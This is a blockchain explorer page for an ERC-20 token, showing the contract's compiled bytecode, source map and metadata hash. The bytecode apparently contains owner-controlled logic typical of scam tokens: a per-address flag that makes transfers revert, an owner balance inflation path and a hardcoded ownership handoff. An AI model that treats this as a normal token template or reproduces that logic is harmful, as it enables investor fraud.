008152600401610bae9061183f565b60405180910390fd5b60011515600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610cc457610c80600554600a610c2291906119c1565b6445d964b800610c329190611a0c565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fed90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000610cee6064610ce060085485610f7290919063ffffffff16565b61103790919063ffffffff16565b905081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d3b9190611a66565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dca9190611a9a565b610dd49190611a66565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e969190611321565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8385610ef99190611a66565b604051610f069190611321565b60405180910390a350505050565b6000808284610f239190611a9a565b905083811015610f68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5f90611b3c565b60405180910390fd5b8091505092915050565b600080831415610f855760009050610fe7565b60008284610f939190611a0c565b9050828482610fa29190611b8b565b14610fe2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd990611c2e565b60405180910390fd5b809150505b92915050565b600061102f83836040518060400160405280601f81526020017f536166654d6174683a20737562627472616374696f6e206f766572666c6f7700815250611081565b905092915050565b600061107983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110e5565b905092915050565b60008383111582906110c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c091906111e1565b60405180910390fd5b50600083856110d89190611a66565b9050809150509392505050565b6000808311829061112c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112391906111e1565b60405180910390fd5b506000838561113b9190611b8b565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611182578082015181840152602081019050611167565b83811115611191576000848401525b50505050565b6000601f19601f8301169050919050565b60006111b382611148565b6111bd8185611153565b93506111cd818560208601611164565b6111d681611197565b840191505092915050565b600060208201905081810360008301526111fb81846111a8565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061123382611208565b9050919050565b61124381611228565b811461124e57600080fd5b50565b6000813590506112608161123a565b92915050565b6000819050919050565b61127981611266565b811461128457600080fd5b50565b60008135905061129681611270565b92915050565b600080604083850312156112b3576112b2611203565b5b60006112c185828601611251565b92505060206112d285828601611287565b9150509250929050565b60008115159050919050565b6112f1816112dc565b82525050565b600060208201905061130c60008301846112e8565b92915050565b61131b81611266565b82525050565b60006020820190506113366000830184611312565b92915050565b60008060006060848603121561135557611354611203565b5b600061136386828701611251565b935050602061137486828701611251565b925050604061138586828701611287565b9150509250925092565b611398816112dc565b81146113a357600080fd5b50565b6000813590506113b58161138f565b92915050565b600080604083850312156113d2576113d1611203565b5b60006113e085828601611251565b92505060206113f1858286016113a6565b9150509250929050565b60006020828403121561141157611410611203565b5b600061141f84828501611251565b91505092915050565b61143181611228565b82525050565b600060208201905061144c6000830184611428565b92915050565b6000806040838503121561146957611468611203565b5b600061147785828601611251565b925050602061148885828601611251565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806114d957607f821691505b602082108114156114ed576114ec611492565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6e6e60008201527f6572000000000000000000000000000000000000000000000000000000000000602082015250565b600061154f602283611153565b915061155a826114f3565b604082019050919050565b6000602082019050818103600083015261157e81611542565b9050919050565b7f4945524332303a207472616e7366657220616d6f756e7420657863656564732060008201527f616c6c6f77616e63650000000000000000000000000000000000000000000000602082015250565b60006115e1602983611153565b91506115ec82611585565b604082019050919050565b60006020820190508181036000830152611610816115d4565b9050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611673602583611153565b915061167e82611617565b604082019050919050565b600060208201905081810360008301526116a281611666565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611705602383611153565b9150611710826116a9565b604082019050919050565b60006020820190508181036000830152611734816116f8565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611797602683611153565b91506117a28261173b565b604082019050919050565b600060208201905081810360008301526117c68161178a565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611829602483611153565b9150611834826117cd565b604082019050919050565b600060208201905081810360008301526118588161181c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156118e5578086048111156118c1576118c061185f565b5b60018516156118d05780820291505b80810290506118de8561188e565b94506118a5565b94509492505050565b6000826118fe57600190506119ba565b8161190c57600090506119ba565b8160018114611922576002811461192c5761195b565b60019150506119ba565b60ff84111561193e5761193d61185f565b5b8360020a9150848211156119555761195461185f565b5b506119ba565b5060208310610133831016604e8410600b84101617156119905782820a90508381111561198b5761198a61185f565b5b6119ba565b61199d848484600161189b565b925090508184048111156119b4576119b361185f565b5b81810290505b9392505050565b60006119cc82611266565b91506119d783611266565b9250611a047fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846118ee565b905092915050565b6000611a1782611266565b9150611a2283611266565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611a5b57611a5a61185f565b5b828202905092915050565b6000611a7182611266565b9150611a7c83611266565b925082821015611a8f57611a8e61185f565b5b828203905092915050565b6000611aa582611266565b9150611ab083611266565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ae557611ae461185f565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611b26601b83611153565b9150611b3182611af0565b602082019050919050565b60006020820190508181036000830152611b5581611b19565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611b9682611266565b9150611ba183611266565b925082611bb157611bb0611b5c565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c18602183611153565b9150611c2382611bbc565b604082019050919050565b60006020820190508181036000830152611c4781611c0b565b905091905056fea2646970667358221220ec442427bc6d0296a05153ea7466dfb3a2ee2b13b12343377b1d830539b9494f64736f6c634300080c0033

Deployed Bytecode Sourcemap

3906:3626:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4676:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6474:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4961:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3657:240;;;:::i;:::-;;7176:351;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4866:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5121:121;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6348:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4769:89;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5992:346;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3428:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7013:155;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4676:85;4715:13;4748:5;4741:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4676:85;:::o;6474:169::-;6557:4;6574:39;6583:12;:10;:12::i;:::-;6597:7;6606:6;6574:8;:39::i;:::-;6631:4;6624:11;;6474:169;;;;:::o;4961:102::-;5016:7;5043:12;;5036:19;;4961:102;:::o;3657:240::-;3580:12;:10;:12::i;:::-;3567:25;;:9;:7;:9::i;:::-;:25;;;3559:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;3772:42:::1;3731:85;;3754:8;::::0;::::1;;;;;;;;3731:85;;;;;;;;;;;;3846:42;3827:8;::::0;:62:::1;;;;;;;;;;;;;;;;;;3657:240::o:0;7176:351::-;7282:4;7299:36;7309:6;7317:9;7328:6;7299:9;:36::i;:::-;7346:24;7373:11;:19;7385:6;7373:19;;;;;;;;;;;;;;;:33;7393:12;:10;:12::i;:::-;7373:33;;;;;;;;;;;;;;;;7346:60;;7445:6;7425:16;:26;;7417:80;;;;;;;;;;;;:::i;:::-;;;;;;;;;7515:4;7508:11;;;7176:351;;;;;:::o;4866:87::-;4909:7;4936:9;;4929:16;;4866:87;:::o;5121:121::-;3580:12;:10;:12::i;:::-;3567:25;;:9;:7;:9::i;:::-;:25;;;3559:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;5228:6:::1;5204:11;:21;5216:8;5204:21;;;;;;;;;;;;;;;;:30;;;;;;;;;;;;;;;;;;5121:121:::0;;:::o;6348:118::-;6414:7;6441:8;:17;6450:7;6441:17;;;;;;;;;;;;;;;;6434:24;;6348:118;;;:::o;4769:89::-;4810:13;4843:7;4836:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4769:89;:::o;5992:346::-;6078:4;6112:12;:10;:12::i;:::-;6099:25;;:9;:7;:9::i;:::-;:25;;;:51;;;;;6141:9;6128:22;;:9;:7;:9::i;:::-;:22;;;6099:51;6095:161;;;6192:52;6237:6;6192:40;6219:12;;6192:8;:22;6201:12;:10;:12::i;:::-;6192:22;;;;;;;;;;;;;;;;:26;;:40;;;;:::i;:::-;:44;;:52;;;;:::i;:::-;6167:8;:22;6176:12;:10;:12::i;:::-;6167:22;;;;;;;;;;;;;;;:77;;;;6095:161;6266:42;6276:12;:10;:12::i;:::-;6290:9;6301:6;6266:9;:42::i;:::-;6326:4;6319:11;;5992:346;;;;:::o;3428:91::-;3476:7;3503:8;;;;;;;;;;;3496:15;;3428:91;:::o;7013:155::-;7104:7;7131:11;:20;7143:7;7131:20;;;;;;;;;;;;;;;:29;7152:7;7131:29;;;;;;;;;;;;;;;;7124:36;;7013:155;;;;:::o;1154:115::-;1207:15;1250:10;1235:26;;1154:115;:::o;6651:354::-;6774:1;6755:21;;:7;:21;;;;6747:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;6856:1;6837:21;;:7;:21;;;;6829:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;6941:6;6909:11;:20;6921:7;6909:20;;;;;;;;;;;;;;;:29;6930:7;6909:29;;;;;;;;;;;;;;;:38;;;;6981:7;6963:34;;6972:7;6963:34;;;6990:6;6963:34;;;;;;:::i;:::-;;;;;;;;6651:354;;;:::o;5250:734::-;5374:1;5356:20;;:6;:20;;;;5348:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5459:1;5438:23;;:9;:23;;;;5430:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;5539:4;5516:27;;:11;:19;5528:6;5516:19;;;;;;;;;;;;;;;;;;;;;;;;;:27;;;5513:131;;;5579:53;5622:9;;5616:2;:15;;;;:::i;:::-;5601:12;:30;;;;:::i;:::-;5579:8;:16;5588:6;5579:16;;;;;;;;;;;;;;;;:21;;:53;;;;:::i;:::-;5560:8;:16;5569:6;5560:16;;;;;;;;;;;;;;;:72;;;;5513:131;5654:17;5698:29;5723:3;5698:20;5709:8;;5698:6;:10;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;5686:41;;5775:6;5757:8;:16;5766:6;5757:16;;;;;;;;;;;;;;;;:25;;;;:::i;:::-;5738:8;:16;5747:6;5738:16;;;;;;;;;;;;;;;:44;;;;5846:9;5837:6;5815:8;:19;5824:9;5815:19;;;;;;;;;;;;;;;;:28;;;;:::i;:::-;:40;;;;:::i;:::-;5793:8;:19;5802:9;5793:19;;;;;;;;;;;;;;;:62;;;;5889:12;;;;;;;;;;;5871:42;;5881:6;5871:42;;;5903:9;5871:42;;;;;;:::i;:::-;;;;;;;;5946:9;5929:47;;5938:6;5929:47;;;5966:9;5957:6;:18;;;;:::i;:::-;5929:47;;;;;;:::i;:::-;;;;;;;;5337:647;5250:734;;;:::o;1543:181::-;1601:7;1621:9;1637:1;1633;:5;;;;:::i;:::-;1621:17;;1662:1;1657;:6;;1649:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1715:1;1708:8;;;1543:181;;;;:::o;2118:252::-;2176:7;2207:1;2202;:6;2198:47;;;2232:1;2225:8;;;;2198:47;2257:9;2273:1;2269;:5;;;;:::i;:::-;2257:17;;2302:1;2297;2293;:5;;;;:::i;:::-;:10;2285:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2361:1;2354:8;;;2118:252;;;;;:::o;1732:139::-;1791:7;1818:45;1823:1;1826;1818:45;;;;;;;;;;;;;;;;;:4;:45::i;:::-;1811:52;;1732:139;;;;:::o;2378:132::-;2436:7;2463:39;2467:1;2470;2463:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2456:46;;2378:132;;;;:::o;1879:227::-;2000:7;2033:1;2028;:6;;2036:12;2020:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2060:9;2076:1;2072;:5;;;;:::i;:::-;2060:17;;2097:1;2090:8;;;1879:227;;;;;:::o;2518:::-;2638:7;2670:1;2666;:5;2673:12;2658:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2697:9;2713:1;2709;:5;;;;:::i;:::-;2697:17;;2736:1;2729:8;;;2518:227;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:116::-;4541:21;4556:5;4541:21;:::i;:::-;4534:5;4531:32;4521:60;;4577:1;4574;4567:12;4521:60;4471:116;:::o;4593:133::-;4636:5;4674:6;4661:20;4652:29;;4690:30;4714:5;4690:30;:::i;:::-;4593:133;;;;:::o;4732:468::-;4797:6;4805;4854:2;4842:9;4833:7;4829:23;4825:32;4822:119;;;4860:79;;:::i;:::-;4822:119;4980:1;5005:53;5050:7;5041:6;5030:9;5026:22;5005:53;:::i;:::-;4995:63;;4951:117;5107:2;5133:50;5175:7;5166:6;5155:9;5151:22;5133:50;:::i;:::-;5123:60;;5078:115;4732:468;;;;;:::o;5206:329::-;5265:6;5314:2;5302:9;5293:7;5289:23;5285:32;5282:119;;;5320:79;;:::i;:::-;5282:119;5440:1;5465:53;5510:7;5501:6;5490:9;5486:22;5465:53;:::i;:::-;5455:63;;5411:117;5206:329;;;;:::o;5541:118::-;5628:24;5646:5;5628:24;:::i;:::-;5623:3;5616:37;5541:118;;:::o;5665:222::-;5758:4;5796:2;5785:9;5781:18;5773:26;;5809:71;5877:1;5866:9;5862:17;5853:6;5809:71;:::i;:::-;5665:222;;;;:::o;5893:474::-;5961:6;5969;6018:2;6006:9;5997:7;5993:23;5989:32;5986:119;;;6024:79;;:::i;:::-;5986:119;6144:1;6169:53;6214:7;6205:6;6194:9;6190:22;6169:53;:::i;:::-;6159:63;;6115:117;6271:2;6297:53;6342:7;6333:6;6322:9;6318:22;6297:53;:::i;:::-;6287:63;;6242:118;5893:474;;;;;:::o;6373:180::-;6421:77;6418:1;6411:88;6518:4;6515:1;6508:15;6542:4;6539:1;6532:15;6559:320;6603:6;6640:1;6634:4;6630:12;6620:22;;6687:1;6681:4;6677:12;6708:18;6698:81;;6764:4;6756:6;6752:17;6742:27;;6698:81;6826:2;6818:6;6815:14;6795:18;6792:38;6789:84;;;6845:18;;:::i;:::-;6789:84;6610:269;6559:320;;;:::o;6885:221::-;7025:34;7021:1;7013:6;7009:14;7002:58;7094:4;7089:2;7081:6;7077:15;7070:29;6885:221;:::o;7112:366::-;7254:3;7275:67;7339:2;7334:3;7275:67;:::i;:::-;7268:74;;7351:93;7440:3;7351:93;:::i;:::-;7469:2;7464:3;7460:12;7453:19;;7112:366;;;:::o;7484:419::-;7650:4;7688:2;7677:9;7673:18;7665:26;;7737:9;7731:4;7727:20;7723:1;7712:9;7708:17;7701:47;7765:131;7891:4;7765:131;:::i;:::-;7757:139;;7484:419;;;:::o;7909:228::-;8049:34;8045:1;8037:6;8033:14;8026:58;8118:11;8113:2;8105:6;8101:15;8094:36;7909:228;:::o;8143:366::-;8285:3;8306:67;8370:2;8365:3;8306:67;:::i;:::-;8299:74;;8382:93;8471:3;8382:93;:::i;:::-;8500:2;8495:3;8491:12;8484:19;;8143:366;;;:::o;8515:419::-;8681:4;8719:2;8708:9;8704:18;8696:26;;8768:9;8762:4;8758:20;8754:1;8743:9;8739:17;8732:47;8796:131;8922:4;8796:131;:::i;:::-;8788:139;;8515:419;;;:::o;8940:224::-;9080:34;9076:1;9068:6;9064:14;9057:58;9149:7;9144:2;9136:6;9132:15;9125:32;8940:224;:::o;9170:366::-;9312:3;9333:67;9397:2;9392:3;9333:67;:::i;:::-;9326:74;;9409:93;9498:3;9409:93;:::i;:::-;9527:2;9522:3;9518:12;9511:19;;9170:366;;;:::o;9542:419::-;9708:4;9746:2;9735:9;9731:18;9723:26;;9795:9;9789:4;9785:20;9781:1;9770:9;9766:17;9759:47;9823:131;9949:4;9823:131;:::i;:::-;9815:139;;9542:419;;;:::o;9967:222::-;10107:34;10103:1;10095:6;10091:14;10084:58;10176:5;10171:2;10163:6;10159:15;10152:30;9967:222;:::o;10195:366::-;10337:3;10358:67;10422:2;10417:3;10358:67;:::i;:::-;10351:74;;10434:93;10523:3;10434:93;:::i;:::-;10552:2;10547:3;10543:12;10536:19;;10195:366;;;:::o;10567:419::-;10733:4;10771:2;10760:9;10756:18;10748:26;;10820:9;10814:4;10810:20;10806:1;10795:9;10791:17;10784:47;10848:131;10974:4;10848:131;:::i;:::-;10840:139;;10567:419;;;:::o;10992:225::-;11132:34;11128:1;11120:6;11116:14;11109:58;11201:8;11196:2;11188:6;11184:15;11177:33;10992:225;:::o;11223:366::-;11365:3;11386:67;11450:2;11445:3;11386:67;:::i;:::-;11379:74;;11462:93;11551:3;11462:93;:::i;:::-;11580:2;11575:3;11571:12;11564:19;;11223:366;;;:::o;11595:419::-;11761:4;11799:2;11788:9;11784:18;11776:26;;11848:9;11842:4;11838:20;11834:1;11823:9;11819:17;11812:47;11876:131;12002:4;11876:131;:::i;:::-;11868:139;;11595:419;;;:::o;12020:223::-;12160:34;12156:1;12148:6;12144:14;12137:58;12229:6;12224:2;12216:6;12212:15;12205:31;12020:223;:::o;12249:366::-;12391:3;12412:67;12476:2;12471:3;12412:67;:::i;:::-;12405:74;;12488:93;12577:3;12488:93;:::i;:::-;12606:2;12601:3;12597:12;12590:19;;12249:366;;;:::o;12621:419::-;12787:4;12825:2;12814:9;12810:18;12802:26;;12874:9;12868:4;12864:20;12860:1;12849:9;12845:17;12838:47;12902:131;13028:4;12902:131;:::i;:::-;12894:139;;12621:419;;;:::o;13046:180::-;13094:77;13091:1;13084:88;13191:4;13188:1;13181:15;13215:4;13212:1;13205:15;13232:102;13274:8;13321:5;13318:1;13314:13;13293:34;;13232:102;;;:::o;13340:848::-;13401:5;13408:4;13432:6;13423:15;;13456:5;13447:14;;13470:712;13491:1;13481:8;13478:15;13470:712;;;13586:4;13581:3;13577:14;13571:4;13568:24;13565:50;;;13595:18;;:::i;:::-;13565:50;13645:1;13635:8;13631:16;13628:451;;;14060:4;14053:5;14049:16;14040:25;;13628:451;14110:4;14104;14100:15;14092:23;;14140:32;14163:8;14140:32;:::i;:::-;14128:44;;13470:712;;;13340:848;;;;;;;:::o;14194:1073::-;14248:5;14439:8;14429:40;;14460:1;14451:10;;14462:5;;14429:40;14488:4;14478:36;;14505:1;14496:10;;14507:5;;14478:36;14574:4;14622:1;14617:27;;;;14658:1;14653:191;;;;14567:277;;14617:27;14635:1;14626:10;;14637:5;;;14653:191;14698:3;14688:8;14685:17;14682:43;;;14705:18;;:::i;:::-;14682:43;14754:8;14751:1;14747:16;14738:25;;14789:3;14782:5;14779:14;14776:40;;;14796:18;;:::i;:::-;14776:40;14829:5;;;14567:277;;14953:2;14943:8;14940:16;14934:3;14928:4;14925:13;14921:36;14903:2;14893:8;14890:16;14885:2;14879:4;14876:12;14872:35;14856:111;14853:246;;;15009:8;15003:4;14999:19;14990:28;;15044:3;15037:5;15034:14;15031:40;;;15051:18;;:::i;:::-;15031:40;15084:5;;14853:246;15124:42;15162:3;15152:8;15146:4;15143:1;15124:42;:::i;:::-;15109:57;;;;15198:4;15193:3;15189:14;15182:5;15179:25;15176:51;;;15207:18;;:::i;:::-;15176:51;15256:4;15249:5;15245:16;15236:25;;14194:1073;;;;;;:::o;15273:285::-;15333:5;15357:23;15375:4;15357:23;:::i;:::-;15349:31;;15401:27;15419:8;15401:27;:::i;:::-;15389:39;;15447:104;15484:66;15474:8;15468:4;15447:104;:::i;:::-;15438:113;;15273:285;;;;:::o;15564:348::-;15604:7;15627:20;15645:1;15627:20;:::i;:::-;15622:25;;15661:20;15679:1;15661:20;:::i;:::-;15656:25;;15849:1;15781:66;15777:74;15774:1;15771:81;15766:1;15759:9;15752:17;15748:105;15745:131;;;15856:18;;:::i;:::-;15745:131;15904:1;15901;15897:9;15886:20;;15564:348;;;;:::o;15918:191::-;15958:4;15978:20;15996:1;15978:20;:::i;:::-;15973:25;;16012:20;16030:1;16012:20;:::i;:::-;16007:25;;16051:1;16048;16045:8;16042:34;;;16056:18;;:::i;:::-;16042:34;16101:1;16098;16094:9;16086:17;;15918:191;;;;:::o;16115:305::-;16155:3;16174:20;16192:1;16174:20;:::i;:::-;16169:25;;16208:20;16226:1;16208:20;:::i;:::-;16203:25;;16362:1;16294:66;16290:74;16287:1;16284:81;16281:107;;;16368:18;;:::i;:::-;16281:107;16412:1;16409;16405:9;16398:16;;16115:305;;;;:::o;16426:177::-;16566:29;16562:1;16554:6;16550:14;16543:53;16426:177;:::o;16609:366::-;16751:3;16772:67;16836:2;16831:3;16772:67;:::i;:::-;16765:74;;16848:93;16937:3;16848:93;:::i;:::-;16966:2;16961:3;16957:12;16950:19;;16609:366;;;:::o;16981:419::-;17147:4;17185:2;17174:9;17170:18;17162:26;;17234:9;17228:4;17224:20;17220:1;17209:9;17205:17;17198:47;17262:131;17388:4;17262:131;:::i;:::-;17254:139;;16981:419;;;:::o;17406:180::-;17454:77;17451:1;17444:88;17551:4;17548:1;17541:15;17575:4;17572:1;17565:15;17592:185;17632:1;17649:20;17667:1;17649:20;:::i;:::-;17644:25;;17683:20;17701:1;17683:20;:::i;:::-;17678:25;;17722:1;17712:35;;17727:18;;:::i;:::-;17712:35;17769:1;17766;17762:9;17757:14;;17592:185;;;;:::o;17783:220::-;17923:34;17919:1;17911:6;17907:14;17900:58;17992:3;17987:2;17979:6;17975:15;17968:28;17783:220;:::o;18009:366::-;18151:3;18172:67;18236:2;18231:3;18172:67;:::i;:::-;18165:74;;18248:93;18337:3;18248:93;:::i;:::-;18366:2;18361:3;18357:12;18350:19;;18009:366;;;:::o;18381:419::-;18547:4;18585:2;18574:9;18570:18;18562:26;;18634:9;18628:4;18624:20;18620:1;18609:9;18605:17;18598:47;18662:131;18788:4;18662:131;:::i;:::-;18654:139;;18381:419;;;:::o

Swarm Source

ipfs://ec442427bc6d0296a05153ea7466dfb3a2ee2b13b12343377b1d830539b9494f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.